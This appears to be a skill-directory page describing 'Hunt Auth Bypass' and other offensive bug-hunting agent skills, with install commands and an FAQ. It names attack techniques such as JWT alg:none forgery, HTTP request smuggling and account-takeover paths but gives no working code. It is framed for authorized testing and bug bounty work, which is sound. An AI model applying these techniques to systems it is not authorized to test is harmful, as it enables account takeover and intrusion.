    SecurityAuto-check passed
  • Flags API endpoints whose data or actions look like they should need a login but currently don't, as part of authorized security testing.

    1.3k GitHub stars~2k tokensUpdated 1 mo ago
    SecurityAuto-check passed
  • Security Secrets

    IgorWarzocha/Opencode-Workflows

    Review secret detection patterns and scanning workflows. An agent skill from IgorWarzocha/Opencode-Workflows.

    122 GitHub stars~1.2k tokensUpdated 8 mo ago
    SecurityAuto-check: notes
  • Pyspector Security Audit

    ParzivalHack/PySpector

    Run a full Python codebase security audit using PySpector (https://github.com/ParzivalHack/PySpector), a Rust-core SAST scanner.

    151 GitHub stars~3.5k tokensUpdated 2 days ago
    SecurityAuto-check: notes
  • Audit Fix

    openplayerjs/openplayerjs

    Resolve a pnpm audit (dependency-audit CI job) failure — high/critical CVEs in the dependency tree.

    649 GitHub stars~1k tokensUpdated 3 days ago
    SecurityAuto-check passed

More from elementalsouls/Claude-BugHunter

All 19 skills in this repo
  • Hunt Business Logic

    elementalsouls/Claude-BugHunter

    Hunting skill for business logic vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter.

    4.8k GitHub starsUsed in 1 repo~4.4k tokens
    Auto-check passed
  • Hunt API Misconfig

    elementalsouls/Claude-BugHunter

    Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering.

    4.8k GitHub stars~4.5k tokensUpdated yesterday
    Auto-check passed
  • Hunt Ato

    elementalsouls/Claude-BugHunter

    Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains.

    4.8k GitHub stars~3.4k tokensUpdated yesterday
    Auto-check passed
  • Hunt Fintech Graphql

    elementalsouls/Claude-BugHunter

    Hunt fintech-specific GraphQL vulnerabilities: money-movement mutations (transfers, redemptions, withdrawals, card top-ups), ledger/balance/portfolio query IDOR, decimal-precision and rounding…

    4.8k GitHub stars~3.5k tokensUpdated yesterday
    Auto-check passed
  • Hunt HTTP Smuggling

    elementalsouls/Claude-BugHunter

    Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE). An agent skill from elementalsouls/Claude-BugHunter.

    4.8k GitHub stars~1.8k tokensUpdated yesterday
    Auto-check passed
  • Hunt JWT Crypto

    elementalsouls/Claude-BugHunter

    Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g.

    4.8k GitHub stars~2.3k tokensUpdated yesterday
    Auto-check passed

Questions about Hunt Auth Bypass

What does Hunt Auth Bypass do?

Hunting skill for auth bypass vulnerabilities. An agent skill from elementalsouls/Claude-BugHunter. Hunt Auth Bypass is an agent skill from elementalsouls/Claude-BugHunter. Hunting skill for auth bypass vulnerabilities.

When should I use Hunt Auth Bypass?

Hunt Auth Bypass fits situations like: hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns; tasks that involve Authentication; tasks that involve Bug bounty.

How do I install Hunt Auth Bypass in Claude Code?

Run `npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a claude-code`. Or copy the skill folder (skills/hunt-auth-bypass in elementalsouls/Claude-BugHunter) into .claude/skills/hunt-auth-bypass in your project. Claude Code loads it when a task matches its description.

How do I install Hunt Auth Bypass in Codex?

Run `npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a codex`. Or copy the skill folder (skills/hunt-auth-bypass in elementalsouls/Claude-BugHunter) into .agents/skills/hunt-auth-bypass in your project. Codex loads it when a task matches its description.

Can I use Hunt Auth Bypass in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add elementalsouls/Claude-BugHunter --skill hunt-auth-bypass -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-auth-bypass, .gemini/skills/hunt-auth-bypass, .github/skills/hunt-auth-bypass and .opencode/skills/hunt-auth-bypass in your project.

What does Hunt Auth Bypass need to run?

Going by SKILL.md and its folder, Hunt Auth Bypass needs the command-line tools its instructions call (curl). Our summary lists: Python 3.

Does Hunt Auth Bypass access the network?

SKILL.md names 8 domains. As links in the text: hackerone.com, docs.duendesoftware.com, github.blog, projectdiscovery.io, blog.intothesymmetry.com, github.com, nestenius.se and sjoerdlangkemper.nl. This is read from the text; nothing was executed.

Is Hunt Auth Bypass safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Hunt Auth Bypass use?

Hunt Auth Bypass is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunt Auth Bypass use?

About 8.2k tokens (SKILL.md is roughly 33k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Hunt Auth Bypass?

Skills that share tags, products or a category with Hunt Auth Bypass: Scanning For Hardcoded Secrets (jeremylongshore/tons-of-skills-marketplace, 2.8k stars), Defending Applications (telagod/code-abyss, 243 stars), Unauthenticated API Endpoint Recon (uphiago/recon-skills, 1.3k stars) and Security Secrets (IgorWarzocha/Opencode-Workflows, 122 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunt Auth Bypass?

elementalsouls (a GitHub user) maintains it in elementalsouls/Claude-BugHunter, which has 4,816 GitHub stars. The repository holds 19 skills in this directory. The repository was last updated on October 8, 2026.

Source: elementalsouls/Claude-BugHunter on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.